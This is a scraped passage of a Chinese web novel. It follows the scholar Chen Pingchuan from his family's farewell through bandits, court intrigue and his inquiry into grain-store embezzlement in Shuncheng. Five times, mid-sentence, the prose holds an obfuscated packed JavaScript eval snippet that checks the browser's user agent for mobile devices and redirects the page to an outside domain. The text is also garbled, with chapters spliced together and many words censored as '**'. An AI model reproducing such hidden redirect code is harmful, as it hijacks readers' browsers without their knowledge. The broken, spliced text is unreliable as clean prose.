罗氏将一件崭新的靛青色直裰叠好,抚平每一丝褶皱,动作格外轻柔。 “还有这双鞋,你看,”她举起一双黑布鞋,鞋底针脚细密如织,“我给你纳了千层底,走再远的路都不怕磨脚。” 她嘴里絮絮叨叨,一刻不停,像是要把这十二年来的所有叮咛,都一次性装进行囊。 那些堆在桌上的衣物、盘缠、笔墨、干粮,每一件都经过她不厌其烦的检查与打包,饱含了一个母亲最朴素也最深沉的牵挂。 陈平川坐在一旁,安静地看着。 他知道,母亲准备的不是行囊,是一颗牵挂的心。 “娘,够了,再装下去,只怕马车都装不下了。” 看看差不多了,他拿起一块罗氏清晨刚烙好的麦饼,咬了一口,满口都是熟悉的、温暖的香气。 罗氏白了他一眼,嗔怪道:“你个小孩子家懂什么?穷家富路,出门在外,多备一些总没错。万一路上有个什么事……” 话音未落,院门外传来一阵粗犷豪迈、中气十足的大嗓门,仿佛要将屋顶掀翻。 “平川贤侄!张叔我来看你啦!” 话音刚落,张盛财那圆滚滚、如肉山般的身子便挤进了门来,满面红光,身后还跟着几个气喘吁吁、抬着沉重箱子的伙计。 “张叔,大冷天您也跑来。”陈平川笑着起身相迎。 自打他考上了解元,张盛财死活不让他再喊自己老爷,改成张叔,陈平川也就顺着他,改了口。 “哎!都是自家人,别跟叔客气!”张盛财大手在空中一挥,指着那几个朱漆描金的大箱子,“这是叔给你备的程仪,一路上吃穿用度,都挑最好的!还有,去京城的路不太平,我让商队里最稳当的王镖头,亲自带一队好手护送你!保准你安安稳稳地到京城!” 陈仲和与罗氏一听,连忙上前推辞,这礼实在太重了,他们受不起。 张盛财眼睛一瞪,佯怒道:“推什么推!我老张的半个家业,可都指着平川贤侄你这颗金贵的脑袋呢!你家小子要是路上出了半点岔子,我找谁哭去?就这么定了,谁再推辞就是瞧不起我老张!” 张金宝 跟在父亲身后,与喜气洋洋的氛围格格不入,整个人都蔫蔫的。他走到陈平川身边,用鞋尖一下一下地,闷闷地踢着脚下的青石板。 “大哥,你真要去那么远啊? “嗯,陈平川拍了拍他的肩膀,笑道,“去考个状元回来。 张金宝猛地抬起头,用力挺起胸膛,仿佛这样能给自己多添几分气力。“那你放心去!庐州府的生意,我帮你看着!等你当了大官,我这个当小弟的,脸上也有光! 尽管眼眶已经憋得通红,他却努力挤出一个比哭还难看的笑脸。 几日后,天色微明,出发的时间到了。 陈家小院外,一辆宽敞舒适的马车静静停候,旁边是十几个精神抖擞、腰挎钢刀的镖师,呼出的白气在冷空气中凝成一团。 陈平川一身棉布青衫,腰间系着张静姝送给自己的翠竹的荷包,在晨光中愈发显得身姿挺拔,眉目清朗。 方先生也冒着寒气来了,他将一本封面泛黄、边角卷起的册子郑重地递到陈平川手中。 “这是老夫毕生珍藏的名家策论心得,上面有我的批注,你路上仔细揣摩。记住,京城水深,龙蛇混杂,务必谨言慎行,戒骄戒躁,不忘初心。 “学生谨记先生教诲。陈平川深深一揖,行了大礼。 他与泪眼婆娑的母亲、强忍不舍的父亲,以及依依不舍的妹妹一一告别,目光却下意识地在送行的人群里扫了一圈。 张静姝没来。 一种说不清道不明的失落,如同一片羽毛,在他心湖上轻轻一拂,转瞬即逝。 “哥哥,陈平玉似乎察觉到陈平川所想,她仰着脸,小声解释道,“静姝姐姐说她家中有事,来不了了。她让我告诉你,一路顺风。 陈平川点点头,没再多问,转身,利落地登上了马车。 同一时刻,庐州城最大的慈安寺内,香烟缭绕,钟磬之声悠远肃穆。 张静姝独自一人,跪在冰冷的蒲团上。她褪去了一身锦衣华服,穿着素雅的衣裙,双手合十,神情是前所未有的虔诚与庄重。 她仰头望着那尊宝相庄严的泥塑金身,在心中默默许下宏愿。 “信女张静姝,诚心祈求诸天神佛、满殿菩萨保佑,愿陈平川此去京城,前路无灾,后路无险,一路平安。愿他春闱高中,金榜题名,蟾宫折桂。若此愿得成,信女……信女愿吃斋一年,诵经千遍,为他祈福还愿。 …… 马车辘辘,一路向北。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15987083|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江南水乡的秀丽风 景,渐渐被北地苍茫辽阔的景致取代。 官道之上,车队行进,陈平川不时能从车窗看到道旁蜷缩着的身影。那些是衣衫褴褛、面黄肌瘦的流民,他们或麻木地倚靠着枯树,或一家人挤在一起,眼神空洞得像一潭死水。 书本上冰冷的“生民之苦”四个字,从未像此刻这般,深深烙印在他的心里。 这让他“为生民立命”的念头,在胸中愈发滚烫而坚定。 商队领队的是王镖头,一个四十多岁,脸膛被风霜刻画得黝黑的汉子。 他行走江湖多年,经验老到,对这位年少沉稳的解元公很是敬佩,一路上照料得十分周到。 这日傍晚,残阳如血,天色迅速暗沉下来。 商队行至一处前不着村后不着店的偏僻山林。 王镖头看了一眼天色,眉头微不可查地皱了一下。 “今晚怕是赶不到下一个镇子了,弟兄们打起精神,前面有个驿站,大家今晚就在那歇脚,不可大意。” 那驿站十分破败,几根支撑屋檐的柱子已经开裂,仿佛随时都会垮塌,院里齐膝的杂草在晚风中摇曳,像无数只招摇的鬼手。 一个瘦小枯干的驿卒从阴影里迎了出来,看到这么大一支人强马壮的商队,神色明显有些慌张,说话也吞吞吐吐。 “客……客官,本站简陋,怕是……招待不下这么多人……” 王镖头的目光在他脸上一扫,不动声色地从怀里扔过去一锭分量不轻的银子。 “无妨,我等自带干粮,只需借个地方过夜,打搅不了多久。” 驿卒犹豫了一会,最后还是接过银子,哈着腰将众人迎了进去。 王镖头却在转身的瞬间,悄悄对手下的心腹打了个手势,示意他们晚上轮流守夜,兵器不离身。 他觉得,这个驿卒不正常。 陈平川坐在马车里,掀开帘子的一角,也感到气氛有些不对劲。 驿站**静了,静得连一声犬吠、一声鸡鸣都听不到。 他默默地将一把防身的**,从行囊中取出,悄无声息地藏进了宽大的袖中。 夜半三更,万籁俱寂。 驿站外,骤然响起一阵由远及近、杂乱而急促的马蹄声!那声音如同滚雷,碾过沉寂的大地! 紧接着,是震天的喊杀声,撕裂了夜的宁静! “里面的人听着!识相的把财物都交出来,爷爷们兴许能饶你们不死!” 第119章 这**的庙堂,才是属于你的战场 “道长息怒!”陈平川急忙起身,伸手拦住了怒发冲冠的太平道人。 “此时杀了梁越,非但无益,反而会引来麻烦!” 太平道人一挑眉:“此话怎讲?”陈平川冷静分析:“梁越一死,梁太后**必将借题发挥,以‘清君侧’之名发难。届时,京城大乱,景帝岌岌可危,我们所有人都将成为梁家疯狂复仇的目标,难逃一劫。” 他看着怒气未消的太平道人,继续陈述着利害:“况且,杀了一个梁越,还会有更多梁越冒出来。大业朝的病根,不在于某一个权臣,而在于这整个从上到下、已经烂到了骨子里的制度!” 太平道人的动作一滞,眼中那几乎要喷薄而出的杀气缓缓收敛,但紧锁的眉头却化为了更深的忧虑与无奈。 陈平川转过身,望向窗外沉沉的夜色,那里是权力的中心,也是罪恶的渊薮。 他的语气平静得可怕,眼中燃烧着一簇幽冷而执着的火焰。 “他想让我死,我偏要好好活着。” “我要将他和他背后盘根错节的一切,全部碾碎,连根拔起!” “我要让他亲眼看着,自己拥有的权势和地位,粉碎崩塌,我觉得,这要比杀了他还要痛苦!” 这番超越了愤怒的冷静与狠厉,让了尘与太平这两位见惯了风浪生死的江湖高人,都为之一震。 他们发现眼前的少年,不像一个初出茅庐的书生,而像一个蛰伏在暗处,耐心等待机会的刺客! 了尘长长地叹了一口气,走上前,那只油腻的大手重重地拍了拍陈平川的肩膀。 “小施主……心性之坚韧,远超我等预料。”他的眸子里,满是复杂难明的情绪:“原本,我们想带你离开这潭浑水,但现在看来,这**的庙堂,或许……才是你真正的战场。” 了尘的语气一转,变得郑重:“我们二人即将离开京城,前往淮南。那里有一支义军,其首领‘赤眉王’刘秀真,虽是草莽出身,却颇有侠义之心,深得人心。我等想去看看,此人是否是那值得托付之人。” 如今的大业朝,早已不是表面上的歌舞升平。 天灾人祸,**,各地的起义军如同雨后春笋,虽未成燎原之势,却已让这腐朽的王朝根基动摇。 了尘最后看了一眼陈平川,语气温和。 “我们不在,无法再护你周全,你自己多加小心。” “若真有那么一日,你在这庙堂之上再也待不下去,就来淮南找我们。江湖之大,总有你的一片天地。” 随后两人告别陈平川,遁入夜色而去。 陈平川独自站在空荡荡的院中,夜风吹动他的衣袍,带来些许寒意。 他知道,从这一刻起,在这龙潭虎穴般的京城,他真正能依靠的,只有他自己了。 翌日,一名太监高亢的嗓音,传入状元府。 “圣旨到——” 陈平川率府中众人跪于庭院之中,神情肃穆。 “奉天承运,皇帝诏曰:新科状元陈平川,才学出众,品性端方,深得朕心。兹按祖制,授翰林院修撰之职,即日上任。钦此!” …… 翰林院那扇厚重的朱漆大门前,两尊石狮沐浴在晨光中,威严而沉默。 青石板路被岁月打磨得光洁如镜,一道挺拔的身影缓步而来。 陈平川一袭崭新的青色官袍,衣袂在晨风中微微拂动。 官袍的云纹刺绣精致内敛,衬得他愈发面如冠玉,目若朗星。 他正要迈上那三级石阶,踏入这座被誉为大业朝文脉所系的学术圣地,一个声音从旁侧传来。 “平川兄,留步。” 陈平川侧首,只见慕容修站在一株老槐树的斑驳树影下。 他身上也穿着官服,只是颜色要深沉一些,款式也显得宽大,松松垮垮地挂在身上,仿佛一件借来的戏袍,与他那份不羁的气质格格不入。 他的脸上,挂着一丝苦笑,一半是自嘲,一半是释然。 “慕容兄,你这是……”陈平川拱手回礼,目光落在他那身官服上,心中已有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990487|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几分猜测。 “外放了。”慕容修摊了摊手,语气轻松得仿佛在说一件趣事,“圣上隆恩,命我去一个叫‘云岫’的小地方做县令。我看了舆图,山高水长,正好合了我这懒散性子,游山玩水,逍遥自在。” 陈平川微微叹气,道:“慕容兄何时起程?陈某定要为你送行。” 慕容修哈哈一笑,拍了拍他的肩膀,洒脱道:“今日我便起程,平川兄不必送了……你我道不同。你志在庙堂,欲以手中之笔,扭转乾坤;我则求个山水逍遥,听风观雨。这京城是潭不见底的深水,水面瞧着平静,底下却暗流汹涌。你的日子怕是比我还要难过,自己要多多保重!” “一定。”陈平川郑重点头。 二人相视一笑,那份惺惺相惜的知己之情,自不必言明。 恰在此时,一个令人厌恶的声音,硬生生插了进来。 “哟,这不是陈状元和慕容县令吗?怎么,在这儿上演一出依依惜别?真是兄弟情深,感人肺腑啊!” 一身崭新吏部官袍的燕世藩便在一左一右两名跟班的簇拥下,趾高气扬地踱了过来。 他的官服料子最好,裁剪也最合身,下巴抬得老高,那副得意扬扬的嘴脸,看了就让人讨厌。 他轻蔑地瞥过陈平川身上代表清贵的翰林院官服,又扫了眼慕容修那身明显不合身的行头,嘴角的讥讽愈发浓烈。 “陈状元,”燕世藩的语调拉得老长,充满了炫耀的意味,“翰林院可是个好地方,清水衙门,每日修书撰史,吟风弄月,最是清闲,也最能磨炼心性,熬个几十年资历,说不定也能外放个州府呢。”他刻意加重了“几十年”三个字,又故作同情地叹了口气,“不像我,刚入仕就要为朝廷选拔贤才,实在是劳碌命啊,想清闲都清闲不得。” 慕容修的眉头瞬间拧成了一个疙瘩,一股火气直冲脑门,他被外放到云岫那穷乡僻野,便是这厮暗中操作,借机报复! 只因为他与陈平川是好友! 第138章 赴任之路波澜起,美人在侧,智计在握! 是夜,更深露重,一盏孤灯如豆,在陈平川的书房里静静燃烧。 **脱下了朝服,换了一身不起眼的深色常服,在两位护卫的保护下,深夜来访。 他将一枚触手温润的和田玉私印,郑重地放在了灯下的书案上。 灯火摇曳,在他布满忧思的脸上投下深刻的阴影。 “平川,”他的声音压得很低,透着凝重,“老夫有些故旧门生,在顺城经营多年,他们当中有些人尚有良知,你可以与其联络,向他们寻求帮助。此印为信物,见印如见我。” 他顿了顿,叮嘱道,“你到了顺城,万事小心。顺城……是龙潭,也是虎穴。” 他看着陈平川那双在灯火下依旧清亮平静的眼睛,继续说道:“另外,梁坤此人,你务必时刻提防。他表面和善,实则心狠手辣,笑里藏刀。他不仅会在明面上给你使绊子,坏你的事,更可能会在暗处……下**。” 陈平川对着**一揖到地:“多谢张大人提醒!” **对他的帮助,无异于恩师与父母,此等再造之恩,陈平川铭记于心,不敢或忘。 …… 张府,张若素的闺房之内,烛火明亮。 张若素将几件朴素的衣物,连同几本用油纸包好的医书和银两,细细打进了一个小小的行囊。 一切准备妥当,她对着菱花镜,开始了一场彻底的蜕变。 解下发簪,任一头青丝如瀑般垂落,又用布带将其紧紧束起,藏入一顶洗得发白的儒生方巾之中。 又用指尖沾了些许锅底灰,将莹白如玉的面颊抹上几道不起眼的污迹,又刻意将眉毛画得粗重了些。 镜中的少女褪去了所有娇柔,取而代之的,是一个眉眼间透着英气与决绝的清秀少年。 窗外,庭院的芭蕉叶下,**负手而立。 女儿房中的剪影,清晰地映在他眼中。 他知道女儿要做什么,他也有千百个理由冲进去阻止,可最终,只是化作一声悠长而无奈的叹息。 他知道,女儿的性子像他,一旦认定了,便是九头牛也拉不回来。 离京之日,秋风萧瑟,十里长亭外,古道边,人头攒动。 **、林锦玉,以及邀月楼一役后将陈平川奉若灯塔的数百名士子,皆来相送。 他们没有高声喧哗,只是静静地站着,数百道目光汇聚在陈平川一人身上,那目光里有敬佩,有担忧,更有期盼。 这沉默的送别,竟比任何言语都更具力量,仿佛在昭告天下:此去远方,陈平川并非孤身一人。 “大哥!我也跟你去!我去给你当护卫!”张金宝一双眼睛哭得像熟透的桃子,死死抓着车辕,说什么也不肯松手。 陈平川将他拉到一旁,用力拍了拍他的肩膀,看着这个从小一起长大的兄弟,温言劝道:“金宝,你走了,家里的生意谁管?京城才是我们的根基,你得留下来,把张家的产业管得蒸蒸日上。将来,我还需要你这个大财主,在背后给我源源不断地输送粮草**呢!” 张金宝似懂非懂,他只知道大哥交代的事一定要办好,这才抽噎着松了手。 临行前,他又折回来,从怀里掏出一大叠厚厚的银票,硬是塞进了陈平川的行囊,嘴里还嘟囔着:“大哥,这点钱你拿着!在外头别亏着自己!” 就在这时,另一支车队赶到,一个身影跳下车,热情无比地迎了上来,那笑声隔着老远便能听到。 “啊呦,平川贤弟!抱歉抱歉,为兄一宿都在想你,觉也没睡好,所以迟到了!” 来人正是梁坤,他一身锦衣,满面春风,亲热得仿佛陈平川是他失散多年的亲兄弟。 他不由分说,抢在仆人前头,亲自为陈平川掀开车帘,那姿态低到了尘埃里,腰弯得像一张拉满的弓。 “贤弟!这一路山高水远,风餐露宿,为兄定当鞍前马后,将你照顾得妥妥帖帖,护你周全!” 陈平川似笑非笑,拱手道:“那就有劳梁大人了。” …… 旅途第一夜,驿站之内。 简陋的房间里,油灯的光晕将屋子染得昏黄。 陈平川将自己呕心沥血绘制的顺城规划图纸在桌上小心铺开,正欲就着灯火仔细研究。 那上面不仅有城市布局,更有水利改造、商路规划的详尽标注,是他所有计划的蓝图。 梁坤端着一壶新沏的热茶,满脸堆笑地走了进来,脚步轻快。 “贤弟真是宵衣旰食,国之栋梁啊!来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990506|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝口热茶解解乏!” 话音未落,他走到桌前,脚下“不慎”一个踉跄,身体夸张地向前一扑,手中那沉甸甸的紫砂茶壶脱手而出。 “哗啦”一声,一整壶滚烫的茶水,不偏不倚,尽数泼在了那张凝聚了陈平川无数心血的图纸之上。滚水与墨迹相遇,瞬间洇开,那些清晰的线条与精密的标注,转眼化作一片模糊狼藉的墨团,再也无法辨认。 “哎呀!你看我这笨手笨脚的!罪过!罪过啊!”梁坤脸上满是惊惶与自责,连声道歉,几乎要顿足捶胸,“贤弟,真是对不住,我……我这就给你擦干!”他说着,便要伸手去拿抹布。 陈平川静静地看着那片被毁掉的心血,脸上却不见丝毫恼怒,反而毫不在意地笑了笑,抬手阻止了他。 他抬起手,用食指轻轻点了点自己的太阳穴。 “无妨,”他的声音平静如水,“区区一张图纸而已,梁兄不必介怀。所有的东西,都在这儿装着呢。” 梁坤脸上那热情洋溢的笑容,顿时僵硬了一瞬,随后干笑两声,退了出去。 夜深人静,陈平川还在思考,房门被轻轻叩响了三下。 一个身材纤细的小厮端着一杯安神茶走了进来,他低着头,故意粗着嗓子,声音听着有些滑稽:“陈……陈大人,天晚了,喝杯热茶再睡吧。” 陈平川心中正觉奇怪,这小厮的身形怎么看都有些眼熟。他接过茶杯,小厮却并未离去,反而缓缓抬起了头。 一张布满了灰尘、沾着几点泥污却依旧清丽无双的脸庞,映入眼帘。那双眸子在昏暗的灯光下,亮得如同星辰。 “张……若素?”陈平川手里的茶杯险些惊得掉在地上。 女扮男装的张若素对着他,抿唇一笑,拂去了脸上的伪装,眼中尽是狡黠。 “陈先生,”她的声音恢复了清脆,“顺城之行,赴汤蹈火,岂能少我一个?” 陈平川一时哭笑不得,他们早已远离京城百里,此刻再将她送回,已是万万不能。 他看着张若素那双不容置疑的眼睛,最终只能无奈地长叹了一口气,罢了,由得她了。 半月之后,当一行人终于抵达顺城时,所有人都倒抽了一口凉气。 第139章 狼狈为奸,阳奉阴违!陈平川:装,继续装! 眼前的,根本不能称之为城。 城墙破败不堪,巨大的豁口用简陋的木头和沙土包胡乱堵着,仿佛巨人身上一道道溃烂的伤口。 城楼上的旗帜早已破烂,在风中无力地抽搐。 所谓的守兵,个个衣甲不整,面黄肌瘦,靠在墙根下,眼神涣散,与其说是士兵,不如说是一群等待死亡的乞丐。 城门内外,行走的百姓更是如同鬼魅,他们面色蜡黄,嘴唇干裂,眼神空洞而麻木,行走间如同一具具被抽去灵魂的行尸走肉。 整座顺城,都笼罩在一股绝望的死气之中,像一座被天地遗弃的鬼城。 当地知州马德,一个胖得像肉球,走几步路便气喘吁吁的胖子,早已在城门口等候。 他乃是梁家的远亲走狗,一见到梁坤,便立刻堆起满脸谄媚的笑容,又对着陈平川一通天花乱坠的吹捧,言辞浮夸得令人作呕。 当晚,马德在知州府大排筵宴,为陈平川“接风洗尘”。 酒席极尽奢华,山珍海味,琼浆玉液,与城外百姓啃食草根树皮的惨状,形成了触目惊心的对比。 席间,马德与梁坤一唱一和,不断暗示此地乃不毛之地,蛮族凶残,民风彪悍,就是神仙下凡也无力回天,每句话,都在瓦解陈平川的斗志,敲退堂鼓。 陈平川始终面带微笑,不停点头,仿佛完全认同他们的观点,那配合的样子,让马德与梁坤心中放松下来。 酒过三巡,菜过五味,陈平川缓缓放下手中的酒杯。 他环视着马德与梁坤那两张油光满面的脸,笑容依旧和煦。 “多谢马知州与梁兄盛情款待。” “今日时辰不早,大家都先回去休息,皇上交代本官的事情,不敢耽搁。明日一早,还请二位陪同本官,开官仓,查府库。” 马德与梁坤脸上的笑容,像是被冬日寒风吹过的猪油,瞬间凝固了。 二人飞快地交换了一个眼神,他们没想到,这个看似温和无害的年轻状元,在灌了满肚子酒后,竟还惦记着自己的差事。 梁坤的反应很快,他脸上的换上热情的笑容,“哈哈”一笑。 “平川贤弟真是国之栋梁,时刻心系国事,为兄佩服之至!来来来,今朝有酒今朝醉,正事不急于一时!明日,明日梁某一定鞍前马后,陪贤弟查个底朝天!” 马德也如梦方醒,连忙附和:“是极!是极!陈大人远道而来,车马劳顿,今夜定要好生歇息,养足精神才是!” 碍于陈平川钦差的身份,他们纵有万般不愿,也只能口头应承下来,心中却已是警铃大作。 酒宴散去。 回到知州府的后堂,屏退了所有下人,马德立刻像泄了气的皮球,他用丝帕擦着额头和颈后不断冒出的冷汗,凑到气定神闲的梁坤身边,声音焦虑:“坤爷,这……这小子看着笑眯眯的,看着不太好对付啊!明天他真要查库,那……那库里头……” 顺城官仓,名为官仓,实则早已成了马德与梁家敛财的私库。 朝廷拨下的军饷物资,十成里有八成都经他们的手,高价倒卖给了南来北往的黑市商人,换回的银子,一部分孝敬了京中的梁家,剩下的则进了他马德的口袋。 账目做得天花乱坠,可只要一开仓,那就全都露馅了! 梁坤呷了一口龙井,氤氲的茶气模糊了他脸上的表情。他慢条斯理地将青瓷茶杯放回紫檀木几上,安慰道。 “慌什么。” “明天,你就说那个掌库的大使周老三,昨夜贪杯,回家的路上不慎失足,突发恶疾,人已经没了。至于钥匙……”梁坤的嘴角勾起,语气轻描淡,“自然也跟着他一起‘遗失’了。” 马德眼睛一亮,这招釜底抽薪实在是妙,但随即又愁眉苦脸:“这……能行吗?他可是钦差。” “钦差又如何?”梁坤冷笑一声,眼神里满是不屑,“官仓乃朝廷重地,没有钥匙,谁敢强行破门?这是祖宗传下来的规矩。他一个外来户,总不能当众,把官仓的大门给砸了吧?那便是藐视法度,目无王法!到时候,咱们正好联名上奏,参他一本!” 马德脸上的恐惧瞬间被狂喜取代,他对着梁坤竖起了肥胖的大拇指,脸上堆起阴险的笑容:“高!坤爷您这一手,实在是高啊!” 次日清晨,天色刚从深灰转向鱼肚白,一轮朝日冉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990507|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冉升起。 陈平川一袭青衫,身姿挺拔,已准时出现在了官仓之前。巨大的官仓被高墙环绕,两扇厚重的朱漆大门紧紧闭合,门上的铁将军锈迹斑斑,像一个沉默的守卫。 马德迎了上来,他两手一摊,做出一个无奈的表情。 “哎呀!陈大人,您说这叫什么事儿啊!”他声音里带着虚假的焦急,“昨夜里,咱们那掌库的周老三,多喝了两杯,回家路上脚下一滑,竟……竟一头栽进路边的臭水沟里淹**!下官也是天亮才得到的消息啊!” 他用力挤了挤眼睛,硬是逼出几滴虚伪的眼泪。 “下官已经派了全城的衙役去那水沟里捞了,可那串库房的钥匙,也不知掉到哪里去了!您看这……唉!真是流年不利,流年不利啊!” 一旁的梁坤立刻跳了出来,扮演起和事佬的角色。 他亲**拍着陈平川的肩膀,语重心长地劝道:“平川贤弟,你看,此事确实棘手,马知州也是心急如焚。依为兄看,咱们还是从长计议,等找到了钥匙再说,切不可急躁,乱了方寸啊。” 二人一唱一和,配合得天衣无缝,试图用这荒诞的理由,将陈平川哄骗过去。 陈平川静静地听完,脸上不见丝毫怒气,甚至连一丝不耐都未曾流露。 他只是抬眼,淡淡地看了一眼那扇紧闭的朱漆大门,又将目光移回眼前这两个卖力表演的活宝身上,嘴角甚至还勾起微笑,轻轻点了点头。 “原来如此,那就有劳马知州费心了。” 说完,他竟真的就这么一甩袖袍,转身离去。 这番云淡风轻的反应,让马德和梁坤都彻底愣住了。 他们准备了一肚子的说辞和应对之策,结果拳拳都打在了空处,使不上一丝力气。 看着陈平川远去的背影,马德有些捉摸不透,低声问道:“坤爷,这小子……就这么算了?他葫芦里到底卖的什么药?” 梁坤眯起眼睛,心中同样升起一丝难以言喻的不安,但那不安很快又被自负压下。 “哼,一个乳臭未干的黄口小儿,还能翻了天不成?由他去!我倒要看看,他能玩出什么花样!” 第140章 至理名言:没有调查,就没有发言权! 回到临时下榻的院落,一身小厮打扮的张若素立刻迎了上来,清秀的眉宇间满是关切。 “怎么样?他们可是寻机刁难你了?” 陈平川给自己倒了杯凉茶,一饮而尽,那股冰凉直入肺腑,让他混沌的思绪愈发清明。 “说是府库的钥匙,‘丢’了。”他平静地陈述道。 “什么?”张若素一怔,冰雪聪明的她瞬间明白了其中的猫腻,俏脸上浮现一抹寒霜,冷哼一声,“好一个‘丢了’!他们如此做法,分明是心中有鬼,不敢见人!先生,我们怎么办?” “没有调查,就没有发言权。”陈平川放下茶杯,微微一笑,那笑容里却带着一丝冷意。 张若素瞬间领会了他的意图,眼中闪过一丝亮光。 “先生是想……” “我们若想知道真相,最好的办法,不是去敲那扇紧闭的官仓大门,”陈平川的目光,越过高高的院墙,投向了知州府外那片灰败破落的城区,“而是要走到百姓当中去。他们,最有发言权!” 一个时辰后,两道身影悄然从知州府偏僻的后门溜出。 陈平川与女扮男装的张若素,都换上了一身本地人常穿的粗布衣衫,脸上也刻意抹了些灰土,不着痕迹地混入了街上稀稀落落的人流之中。 他们没有在相对齐整的主街停留,而是径直拐进了一条小巷,深入了顺城最底层百姓**的“铜钟巷”。 巷内的景象,令他们心寒。 断壁残垣随处可见,空气中弥漫着一股混杂了霉味、秽物的气味,令人作呕。 狭窄的巷道里,四处都是饥民压抑的呻吟,和病弱孩童撕心裂肺的咳嗽声。 甚至他们还看到一具瘦骨嶙峋的尸体就那么丢在街头,曝在光天化日之下,几只野狗正在肆无忌惮地啃食,周围的路人却早已麻木,视若无睹地绕行而过。 张若素虽有心理准备,可见到这人间地狱般的景象,胃里依然一阵翻江倒海,再也忍不住,扶着一堵破墙干呕起来。 她什么也吐不出来,只有酸涩的泪水,不受控制地顺着脸颊滚落,在满是灰尘的脸上冲出两道清晰的泪痕。 陈平川的心,也如坠冰窟,这里的情况,比他在奏报中看到的,要严重百倍、千倍! 他强行压下胸中翻涌的悲愤与怒火,眼神如刀,扫过那些百姓蜡黄浮肿的面孔、空洞无神的眼睛、以及那些用烂泥和稻草胡乱堆砌的所谓“居所”。 这些,才是顺城最真实的样貌。 这些,就是马德最确凿的罪证! 他们在一座破烂的茅屋前停下了脚步。 屋前,一个须发皆白、断了一条腿的老人,正靠着斑驳的土墙,像一头负伤的孤狼,用一双浑浊却暗藏锋芒的眼睛警惕地盯着他们。 陈平川也打量老人,他身上松垮地披着一件早已锈蚀破损的皮甲,甲片间的缝隙里,似乎还凝固着陈年的血渍与沙场的尘土。 陈平川能从他僵直的脊背上,感受到一股久经沙场后沉淀下来的杀气。 陈平川整了整衣衫,对着老人深深一揖,姿态谦恭:“老丈,我二人是路过的旅人,想写一本游记,记录此地风土,不知可否向您讨一碗水喝,顺便问几句话?” 说着,他从怀中掏出几个尚有余温的粗面饼子,用油纸托着,双手递了过去。 老兵的目光死死盯在那几个饼子上,喉结艰难地滚动了一下。 浑浊的眼中闪过一丝剧烈的挣扎,那是尊严与饥饿的搏斗。 最终,求生的本能占了上风,他伸出那只布满老茧,不住颤抖的手,接过了饼子。 他没有自己吃,而是转身,蹒跚地递给了屋内炕上躺着的一个瘦小身影。 “囡囡,吃吧。” 张若素心头一紧,立刻跟了进去。 屋内光线昏暗,霉味更重,她也顾不上脏乱,径直走到炕边。 那是一个瘦得只剩一把骨头的小女孩,面无血色,呼吸微弱而急促。 张若素见状,立刻俯身,将三根手指轻轻搭在女孩枯瘦的手腕上为她诊脉。 老兵下意识地抬手想要阻止,那是一种护犊般的本能,但手臂抬到一半,又无力地垂下。 他的孙女病得太重,他没钱抓药,只能眼睁睁看着她的生命之火一点点熄灭。 如果这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990508|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人能治好孙女,就算她是阎王殿里派来的勾魂使者,他也认了! 片刻后,张若素面色凝重地收回手。 她从怀中的一个小瓷瓶里倒出一颗褐色的药丸,用讨来的水小心化开,然后扶起女孩,一勺一勺地将药汁喂了进去。 药汁入口,女孩急促的呼吸似乎平缓了些许。 老兵目不转睛地看着这一幕,眼中那层坚冰般的戒备与敌意,终于开始融化。 他长长地叹了一口气,打开了话匣子。 “什么风土人情……这里只有人**。” 